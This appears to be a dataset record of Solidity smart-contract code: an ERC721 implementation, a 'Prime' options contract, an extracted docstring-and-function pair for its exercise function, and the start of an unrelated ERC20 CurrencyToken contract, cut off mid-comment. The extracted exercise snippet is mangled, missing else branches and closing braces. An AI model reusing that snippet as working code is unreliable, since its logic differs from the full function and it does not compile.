bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; constructor () public { // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); } /** * @dev Gets the balance of the specified address. * @param owner address to query the balance of * @return uint256 representing the amount owned by the passed address */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _ownedTokensCount[owner].current(); } /** * @dev Gets the owner of the specified token ID. * @param tokenId uint256 ID of the token to query the owner of * @return address currently marked as the owner of the given token ID */ function ownerOf(uint256 tokenId) public view override returns (address) { address owner = _tokenOwner[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev Approves another address to transfer the given token ID * The zero address indicates there is no approved address. * There can only be one approved address per token at a given time. * Can only be called by the token owner or an approved operator. * @param to address to be approved for the given token ID * @param tokenId uint256 ID of the token to be approved */ function approve(address to, uint256 tokenId) public virtual override { address owner = ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev Gets the approved address for a token ID, or zero if no address set * Reverts if the token ID does not exist. * @param tokenId uint256 ID of the token to query the approval of * @return address currently approved for the given token ID */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev Sets or unsets the approval of a given operator * An operator is allowed to transfer all tokens of the sender on their behalf. * @param operator operator address to set the approval * @param approved representing the status of the approval to be set */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev Tells whether an operator is approved by a given owner. * @param owner owner address which you want to query the approval of * @param operator operator address which you want to query the approval of * @return bool whether the given operator is approved by the given owner */ function isApprovedForAll(address owner, address operator) public view override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev Transfers the ownership of a given token ID to another address. * Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * Requires the msg.sender to be the owner, approved, or operator. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transferFrom(from, to, tokenId); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement {IERC721Receiver-onERC721Received}, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg.sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement {IERC721Receiver-onERC721Received}, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the _msgSender() to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransferFrom(from, to, tokenId, _data); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg.sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function _safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transferFrom(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether the specified token exists. * @param tokenId uint256 ID of the token to query the existence of * @return bool whether the token exists */ function _exists(uint256 tokenId) internal view returns (bool) { address owner = _tokenOwner[tokenId]; return owner != address(0); } /** * @dev Returns whether the given spender can transfer a given token ID. * @param spender address of the spender to query * @param tokenId uint256 ID of the token to be transferred * @return bool whether the msg.sender is approved for the given token ID, * is an operator of the owner, or is the owner of the token */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Internal function to safely mint a new token. * Reverts if the given token ID already exists. * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Internal function to safely mint a new token. * Reverts if the given token ID already exists. * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted * @param _data bytes data to send along with a safe transfer check */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Internal function to mint a new token. * Reverts if the given token ID already exists. * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _tokenOwner[tokenId] = to; _ownedTokensCount[to].increment(); emit Transfer(address(0), to, tokenId); } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * @param tokenId uint256 ID of the token being burned */ function _burn(uint256 tokenId) internal virtual { address owner = ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _ownedTokensCount[owner].decrement(); _tokenOwner[tokenId] = address(0); emit Transfer(owner, address(0), tokenId); } /** * @dev Internal function to transfer ownership of a given token ID to another address. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function _transferFrom(address from, address to, uint256 tokenId) internal virtual { require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals _approve(address(0), tokenId); _ownedTokensCount[from].decrement(); _ownedTokensCount[to].increment(); _tokenOwner[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = to.call(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data )); if (!success) { if (returndata.length > 0) { // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert("ERC721: transfer to non ERC721Receiver implementer"); } } else { bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } } function _approve(address to, uint256 tokenId) private { _tokenApprovals[tokenId] = to; emit Approval(ownerOf(tokenId), to, tokenId); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - when `from` is zero, `tokenId` will be minted for `to`. * - when `to` is zero, `from`'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:using-hooks.adoc[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } contract ERC721Metadata is Context, ERC165, ERC721, IERC721Metadata { // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /** * @dev Constructor function */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721_METADATA); } /** * @dev Gets the token name. * @return string representing the token name */ function name() external view override returns (string memory) { return _name; } /** * @dev Gets the token symbol. * @return string representing the token symbol */ function symbol() external view override returns (string memory) { return _symbol; } /** * @dev Returns the URI for a given token ID. May return an empty string. * * If the token's URI is non-empty and a base URI was set (via * {_setBaseURI}), it will be added to the token ID's URI as a prefix. * * Reverts if the token ID does not exist. */ function tokenURI(uint256 tokenId) external view override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; // Even if there is a base URI, it is only appended to non-empty token-specific URIs if (bytes(_tokenURI).length == 0) { return ""; } else { // abi.encodePacked is being used to concatenate strings return string(abi.encodePacked(_baseURI, _tokenURI)); } } /** * @dev Internal function to set the token URI for a given token. * * Reverts if the token ID does not exist. * * TIP: if all token IDs share a prefix (e.g. if your URIs look like * `http://api.myproject.com/token/<id>`), use {_setBaseURI} to store * it and save gas. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}. */ function _setBaseURI(string memory baseURI) internal virtual { _baseURI = baseURI; } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a preffix in {tokenURI} to each token's URI, when * they are non-empty. */ function baseURI() external view returns (string memory) { return _baseURI; } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (to == address(0)) { // When burning tokens // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } } abstract contract ERC20 { function balanceOf(address _owner) virtual external returns(uint256); function transferFrom(address sender, address recipient, uint256 amount) public virtual returns (bool); function transfer(address recipient, uint256 amount) public virtual returns (bool); } abstract contract IPool { function exercise(uint256 _long, uint256 _short, address _strike) external payable virtual returns (bool); } abstract contract IPrime { /** * @dev Emitted when a Minter deposits collateral. * @param _user Address of user. * @param _collateralQty Quantity of the deposited asset. * @param _collateral Address of the deposited asset. * @param _paymentQty Quantity of the deposited asset. * @param _payment Address of the deposited asset. * @param _tokenId Nonce of minted Prime -> ID. * @param _timestamp Block.timestamp of deposit. **/ event PrimeMinted( address indexed _user, uint256 _collateralQty, address _collateral, uint256 _paymentQty, address _payment, uint256 indexed _tokenId, uint256 _timestamp ); /** * @dev Emitted when a Burner purchases collateral. * @param _user Address of user. * @param _collateralQty Quantity of the deposited asset. * @param _collateral Address of the deposited asset. * @param _paymentQty Quantity of the deposited asset. * @param _payment Address of the deposited asset. * @param _tokenId Nonce of minted Prime -> ID. * @param _timestamp Block.timestamp of deposit. **/ event PrimeExercised( address indexed _user, uint256 _collateralQty, address _collateral, uint256 _paymentQty, address _payment, uint256 indexed _tokenId, uint256 _timestamp ); /** * @dev Emitted when collateral is withdrawable by Minter. * @param _user Address of user. * @param _collateralQty Quantity of the deposited asset. * @param _collateral Address of the deposited asset. * @param _tokenId Nonce of minted Prime -> ID. * @param _timestamp Block.timestamp of deposit. **/ event PrimeClosed( address indexed _user, uint256 _collateralQty, address indexed _collateral, uint256 indexed _tokenId, uint256 _timestamp ); /** * @dev Emitted when collateral is withdrawn from Prime. * @param _user Address of user. * @param _collateralQty Quantity of the deposited asset. * @param _collateral Address of the deposited asset. * @param _timestamp Block.timestamp of deposit. **/ event Withdrawal( address indexed _user, uint256 _collateralQty, address indexed _collateral, uint256 _timestamp ); function createPrime(uint256 _xis, address _yak, uint256 _zed, address _wax, uint256 _pow, address _gem) external payable virtual returns (uint256); function exercise(uint256 _tokenId) external payable virtual returns (bool); function close(uint256 _collateralId, uint256 _burnId) external virtual returns (bool); function withdraw(uint256 _amount, address _asset) public virtual returns (bool); } contract Prime is IPrime, ERC721Metadata, ReentrancyGuard { using SafeMath for uint256; uint256 public nonce; address public _owner; address public _poolAddress; IPool public _pool; /* Maps a user's withdrawable asset balance */ mapping(address => mapping(address => uint256)) public _assets; mapping(address => mapping(address => uint256)) public _liabilities; /* Map NFT IDs to Prime Struct */ mapping(uint256 => Instruments.Primes) public _primes; constructor () public ERC721Metadata( "Prime Derivative", "PRIME" ) { _owner = msg.sender; } receive() external payable {} /* SET*/ function setPoolAddress(address poolAddress) external { require(msg.sender == _owner, 'not owner'); _poolAddress = poolAddress; _pool = IPool(poolAddress); } /* PRIME FUNCTIONS */ /** * @dev `msg.sender` Deposits asset x, mints new Slate. * @param _xis Amount of collateral to deposit. * @param _yak Address of collateral asset. * @param _zed Amount of payment asset. * @param _wax Payment asset address. * @param _pow Expiry timestamp. * @param _gem Receiver address. * @return _nonce nonce of token minted */ function createPrime( uint256 _xis, address _yak, uint256 _zed, address _wax, uint256 _pow, address _gem ) external payable override returns (uint256) { /* CHECKS */ /* Asserts that the strike receiver cannot be set to pool unless the pool calls it */ require(msg.sender == _gem, 'Create: Gem != Msg.Sender'); require(_pow >= block.timestamp, 'Create: expired timestamp'); /* If this is an Ether Call Prime */ if(_yak == _poolAddress && msg.sender != _poolAddress) { isGreaterThanOrEqual(msg.value, _xis); } /* EFFECTS */ /* Update collateral liability of Prime minter */ _liabilities[msg.sender][_yak] = _liabilities[msg.sender][_yak].add(_xis); /* INTERACTIONS */ /* Create Prime and Mint to msg.sender */ nonce = nonce.add(1); bytes4 chain = bytes4( keccak256(abi.encodePacked(_yak))) ^ bytes4(keccak256(abi.encodePacked(_wax))) ^ bytes4(keccak256(abi.encodePacked(_pow)) ); bytes4 fullChain = ( chain ^ bytes4(keccak256(abi.encodePacked(_xis))) ^ bytes4(keccak256(abi.encodePacked(_zed))) ); _primes[nonce] = Instruments.Primes( msg.sender, _xis, _yak, _zed, _wax, _pow, _gem, chain, fullChain ); /* INTERACTIONS */ emit PrimeMinted( msg.sender, _xis, _yak, _zed, _wax, nonce, block.timestamp ); _safeMint( msg.sender, nonce ); /* If its an ERC-20 Prime, withdraw token from minter */ if(_yak != _poolAddress && msg.sender != _poolAddress) { ERC20 yak = ERC20(_yak); isGreaterThanOrEqual(yak.balanceOf(msg.sender), _xis); yak.transferFrom(msg.sender, address(this), _xis); return nonce; } return nonce; } /** * @dev Swaps strike asset for collateral * @param _tokenId ID of Prime. * @return bool Success. */ function exercise( uint256 _tokenId ) external payable override nonReentrant returns (bool) { /* CHECKS */ isTokenExpired(_tokenId); isOwner(_tokenId, msg.sender); /* Get Prime */ Instruments.Primes memory _prime = _primes[_tokenId]; /* If wax is a pool, its an Ether Put Prime, else its an ERC-20 Prime */ ERC20 _wax = ERC20(_prime.wax); /* Require strike assets to be transferred into Prime contract */ if(_prime.wax == _poolAddress) { /* Strike asset is ether, so it should be transferred in as msg.value */ isGreaterThanOrEqual(msg.value, _prime.zed); } else { /* Strike asset is a token, user should have a balance >= strike amount */ isGreaterThanOrEqual(_wax.balanceOf(msg.sender), _prime.zed); } /* EFFECTS */ /* UPDATE COLLATERAL BALANCE SHEET */ /* Original Minter has their collateral balance debited. */ _liabilities[_prime.ace][_prime.yak] = _liabilities[_prime.ace][_prime.yak].sub(_prime.xis); /* Exercisor has their collateral balance credited. */ _assets[msg.sender][_prime.yak] = _assets[msg.sender][_prime.yak].add(_prime.xis); /* UPDATE STRIKE BALANCE SHEET */ /* Payment receiver has their payment balance credited. */ _assets[_prime.gem][_prime.wax] = _assets[_prime.gem][_prime.wax].add(_prime.zed); /* INTERACTIONS */ emit PrimeExercised( msg.sender, _prime.xis, _prime.yak, _prime.zed, _prime.wax, _tokenId, block.timestamp ); _burn(_tokenId); /* DEBIT THE EXERCISOR'S STRIKE */ /* If strike receiver is pool, pull strike asset from Prime */ if(_prime.gem == _poolAddress) { /* Transfer the strike asset into the Prime Contract */ _wax.transferFrom(msg.sender, address(this), _prime.zed); /* Calls the Pool to (1) Send collateral ether to Prime and (2) withdraw strike assets from Prime */ return _pool.exercise(_prime.xis, _prime.zed, _prime.wax); } /* If strike asset is a token, transfer from user to Prime contract */ if(_prime.wax != _poolAddress) { return _wax.transferFrom(msg.sender, address(this), _prime.zed); } /* Strike asset is ether, it was already transferred in as msg.value */ return true; } /** * @dev `msg.sender` Closes Prime and * can withdraw collateral as Prime minter. * Msg.sender can burn any Prime NFT * that has matching properties when compared * to their minted Prime NFT. This way, * they can sell their Minted Prime, and if * they need to close the position, * they can buy another Prime rather than track down * the exact one they sold/traded away. * @param _collateralId Prime NFT ID with Minter's collateral. * @param _burnId Prime NFT ID that Minter owns, * and intends to burn to withdraw collateral. * @return bool Success. */ function close( uint256 _collateralId, uint256 _burnId ) external override nonReentrant returns (bool) { /* CHECKS */ isOwner(_burnId, msg.sender); arePrimesInSameSeries(_collateralId, _burnId); isTokenExpired(_burnId); /* Get Prime that will get Burned */ Instruments.Primes memory _burnPrime = _primes[_burnId]; ERC20 _yakBurn = ERC20(_burnPrime.yak); isGreaterThanOrEqual(_assets[msg.sender][_burnPrime.yak], 0); /* EFFECTS */ /* Minter's collateral is debited. */ _liabilities[msg.sender][_burnPrime.yak] = _liabilities[msg.sender][_burnPrime.yak].sub(_burnPrime.xis); /* INTERACTIONS */ emit PrimeClosed( msg.sender, _burnPrime.xis, _burnPrime.yak, _burnId, block.timestamp ); _burn(_burnId); /* If the collateral asset is Ether, send ether to the user. */ if(_burnPrime.yak == _poolAddress) { return sendEther(_burnPrime.xis, msg.sender); } /* Else, the collateral is an ERC-20 token. Send it to the user. */ return _yakBurn.transfer(msg.sender, _burnPrime.xis); } /** * @dev Users pull their assets from the Prime contract * @param _amount Quantity to withdraw. * @param _asset Address of asset. * @return success */ function withdraw( uint256 _amount, address _asset ) public override returns (bool) { /* CHECKS */ /* Checks User's ledger balance */ uint256 assetBal = _assets[msg.sender][_asset]; isGreaterThanOrEqual(assetBal, _amount); /* EFFECTS */ /* User's account is debited */ _assets[msg.sender][_asset] = assetBal.sub(_amount); /* INTERACTIONS */ emit Withdrawal( msg.sender, _amount, _asset, block.timestamp ); /* If asset is Ether (pool address), withdraw ether */ if(_asset == _poolAddress) { return sendEther(_amount, msg.sender); } /* Else, asset is a token, transfer it to user. */ ERC20 erc20 = ERC20(_asset); return erc20.transfer(msg.sender, _amount); } /* CAPITAL MANAGEMENT FUNCTION */ function sendEther(uint256 _amount, address payable _to) internal returns (bool) { (bool success, ) = _to.call.value(_amount)(""); require(success, "Transfer failed."); return success; } /* VIEW FUNCTIONS */ /** * @dev Public view function to get Prime properties. */ function getPrime(uint256 _tokenId) external view returns ( address ace, uint256 xis, address yak, uint256 zed, address wax, uint256 pow, address gem, bytes4 chain ) { Instruments.Primes memory _prime = _primes[_tokenId]; return ( _prime.ace, _prime.xis, _prime.yak, _prime.zed, _prime.wax, _prime.pow, _prime.gem, _prime.chain ); } function getChain(uint256 _tokenId) public view returns ( bytes4 chain ) { Instruments.Primes memory _prime = _primes[_tokenId]; return ( _prime.chain ); } function getFullChain(uint256 _tokenId) public view returns ( bytes4 fullChain ) { Instruments.Primes memory _prime = _primes[_tokenId]; return ( _prime.fullChain ); } /** * @dev Public view function to get the Bank's balance of a User */ function getAssetBalance(address _user, address _asset) public view returns (uint256) { return _assets[_user][_asset]; } function isTokenExpired(uint256 _tokenId) public view returns(bool) { require( _primes[_tokenId].pow >= block.timestamp, 'expired'); return true; } function isOwner(uint256 _tokenId, address _user) public view returns(bool) { require(ownerOf(_tokenId) == _user, '!own'); return true; } function isGreaterThanOrEqual(uint256 _a, uint256 _b) public pure returns(bool) { require(_a >= _b, 'a < b'); return true; } /* UTILITY FUNCTIONS */ /** * @dev Utility to compare hashes of Prime properties. * @param _collateralId id of token that is having its collateral withdraw * @param _burnId id of token that is being burned * @return bool of whether Instruments.Primes match. */ function arePrimesInSameSeries( uint256 _collateralId, uint256 _burnId ) public view returns (bool) { bytes4 hashCollateral = getFullChain(_collateralId); bytes4 hashBurn = getFullChain(_burnId); require(hashCollateral == hashBurn, 'Props !='); return hashCollateral == hashBurn; } }
Swaps strike asset for collateral _tokenId ID of Prime. return bool Success./ CHECKS / Get Prime / If wax is a pool, its an Ether Put Prime, else its an ERC-20 Prime / Require strike assets to be transferred into Prime contract / If strike receiver is pool, pull strike asset from Prime / If strike asset is a token, transfer from user to Prime contract /
function exercise( uint256 _tokenId ) external payable override nonReentrant returns (bool) { isTokenExpired(_tokenId); isOwner(_tokenId, msg.sender); Instruments.Primes memory _prime = _primes[_tokenId]; ERC20 _wax = ERC20(_prime.wax); if(_prime.wax == _poolAddress) { isGreaterThanOrEqual(msg.value, _prime.zed); isGreaterThanOrEqual(_wax.balanceOf(msg.sender), _prime.zed); emit PrimeExercised( msg.sender, _prime.xis, _prime.yak, _prime.zed, _prime.wax, _tokenId, block.timestamp ); _burn(_tokenId); if(_prime.gem == _poolAddress) { _wax.transferFrom(msg.sender, address(this), _prime.zed); return _pool.exercise(_prime.xis, _prime.zed, _prime.wax); if(_prime.wax != _poolAddress) { return _wax.transferFrom(msg.sender, address(this), _prime.zed); } }
12,698,914
pragma solidity ^0.4.17; // File: contracts/iERC20Token.sol // Abstract contract for the full ERC 20 Token standard // https://github.com/ConsenSys/Tokens // https://github.com/ethereum/EIPs/issues/20 pragma solidity ^0.4.17; /// @title iERC20Token contract contract iERC20Token { // FIELDS uint256 public totalSupply = 0; bytes32 public name;// token name, e.g, pounds for fiat UK pounds. uint8 public decimals;// How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. bytes32 public symbol;// An identifier: eg SBX. // NON-CONSTANT METHODS /// @dev send `_value` tokens to `_to` address/wallet from `msg.sender`. /// @param _to The address of the recipient. /// @param _value The amount of token to be transferred. /// @return Whether the transfer was successful or not. function transfer(address _to, uint256 _value) public returns (bool success); /// @dev send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /// @dev `msg.sender` approves `_spender` to spend `_value` tokens. /// @param _spender The address of the account able to transfer the tokens. /// @param _value The amount of tokens to be approved for transfer. /// @return Whether the approval was successful or not. function approve(address _spender, uint256 _value) public returns (bool success); // CONSTANT METHODS /** @dev Checks the balance of an address without changing the state of the blockchain. * @param _owner The address to check. * @return balance An unsigned integer representing the token balance of the address. */ function balanceOf(address _owner) public view returns (uint256 balance); /** @dev Checks for the balance of the tokens of that which the owner had approved another address owner to spend. * @param _owner The address of the token owner. * @param _spender The address of the allowed spender. * @return remaining An unsigned integer representing the remaining approved tokens. */ function allowance(address _owner, address _spender) public view returns (uint256 remaining); // EVENTS // An event triggered when a transfer of tokens is made from a _from address to a _to address. event Transfer(address indexed _from, address indexed _to, uint256 _value); // An event triggered when an owner of tokens successfully approves another address to spend a specified amount of tokens. event Approval(address indexed _owner, address indexed _spender, uint256 _value); } // File: contracts/CurrencyToken.sol /// @title CurrencyToken contract contract CurrencyToken { address public server; // Address, which the platform website uses. address public populous; // Address of the Populous bank contract. uint256 public totalSupply; bytes32 public name;// token name, e.g, pounds for fiat UK pounds. uint8 public decimals;// How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. bytes32 public symbol;// An identifier: eg SBX. uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; //EVENTS // An event triggered when a transfer of tokens is made from a _from address to a _to address. event Transfer( address indexed _from, address indexed _to, uint256 _value ); // An event triggered when an owner of tokens successfully approves another address to spend a specified amount of tokens. event Approval( address indexed _owner, address indexed _spender, uint256 _value ); event EventMintTokens(bytes32 currency, address owner, uint amount); event EventDestroyTokens(bytes32 currency, address owner, uint amount); // MODIFIERS modifier onlyServer { require(isServer(msg.sender) == true); _; } modifier onlyServerOrOnlyPopulous { require(isServer(msg.sender) == true || isPopulous(msg.sender) == true); _; } modifier onlyPopulous { require(isPopulous(msg.sender) == true); _; } // NON-CONSTANT METHODS /** @dev Creates a new currency/token. * param _decimalUnits The decimal units/places the token can have. * param _tokenSymbol The token's symbol, e.g., GBP. * param _decimalUnits The tokens decimal unites/precision * param _amount The amount of tokens to create upon deployment * param _owner The owner of the tokens created upon deployment * param _server The server/admin address */ function CurrencyToken () public { populous = server = 0xf8B3d742B245Ec366288160488A12e7A2f1D720D; symbol = name = 0x55534443; // Set the name for display purposes decimals = 6; // Amount of decimals for display purposes balances[server] = safeAdd(balances[server], 10000000000000000); totalSupply = safeAdd(totalSupply, 10000000000000000); } // ERC20 /** @dev Mints a specified amount of tokens * @param owner The token owner. * @param amount The amount of tokens to create. */ function mint(uint amount, address owner) public onlyServerOrOnlyPopulous returns (bool success) { balances[owner] = safeAdd(balances[owner], amount); totalSupply = safeAdd(totalSupply, amount); emit EventMintTokens(symbol, owner, amount); return true; } /** @dev Destroys a specified amount of tokens * @dev The method uses a modifier from withAccessManager contract to only permit populous to use it. * @dev The method uses SafeMath to carry out safe token deductions/subtraction. * @param amount The amount of tokens to create. */ function destroyTokens(uint amount) public onlyServerOrOnlyPopulous returns (bool success) { require(balances[msg.sender] >= amount); balances[msg.sender] = safeSub(balances[msg.sender], amount); totalSupply = safeSub(totalSupply, amount); emit EventDestroyTokens(symbol, populous, amount); return true; } /** @dev Destroys a specified amount of tokens, from a user. * @dev The method uses a modifier from withAccessManager contract to only permit populous to use it. * @dev The method uses SafeMath to carry out safe token deductions/subtraction. * @param amount The amount of tokens to create. */ function destroyTokensFrom(uint amount, address from) public onlyServerOrOnlyPopulous returns (bool success) { require(balances[from] >= amount); balances[from] = safeSub(balances[from], amount); totalSupply = safeSub(totalSupply, amount); emit EventDestroyTokens(symbol, from, amount); return true; } function transfer(address _to, uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } // ACCESS MANAGER /** @dev Checks a given address to determine whether it is populous address. * @param sender The address to be checked. * @return bool returns true or false is the address corresponds to populous or not. */ function isPopulous(address sender) public view returns (bool) { return sender == populous; } /** @dev Changes the populous contract address. * @dev The method requires the message sender to be the set server. * @param _populous The address to be set as populous. */ function changePopulous(address _populous) public { require(isServer(msg.sender) == true); populous = _populous; } // CONSTANT METHODS /** @dev Checks a given address to determine whether it is the server. * @param sender The address to be checked. * @return bool returns true or false is the address corresponds to the server or not. */ function isServer(address sender) public view returns (bool) { return sender == server; } /** @dev Changes the server address that is set by the constructor. * @dev The method requires the message sender to be the set server. * @param _server The new address to be set as the server. */ function changeServer(address _server) public { require(isServer(msg.sender) == true); server = _server; } // SAFE MATH /** @dev Safely multiplies two unsigned/non-negative integers. * @dev Ensures that one of both numbers can be derived from dividing the product by the other. * @param a The first number. * @param b The second number. * @return uint The expected result. */ function safeMul(uint a, uint b) internal pure returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } /** @dev 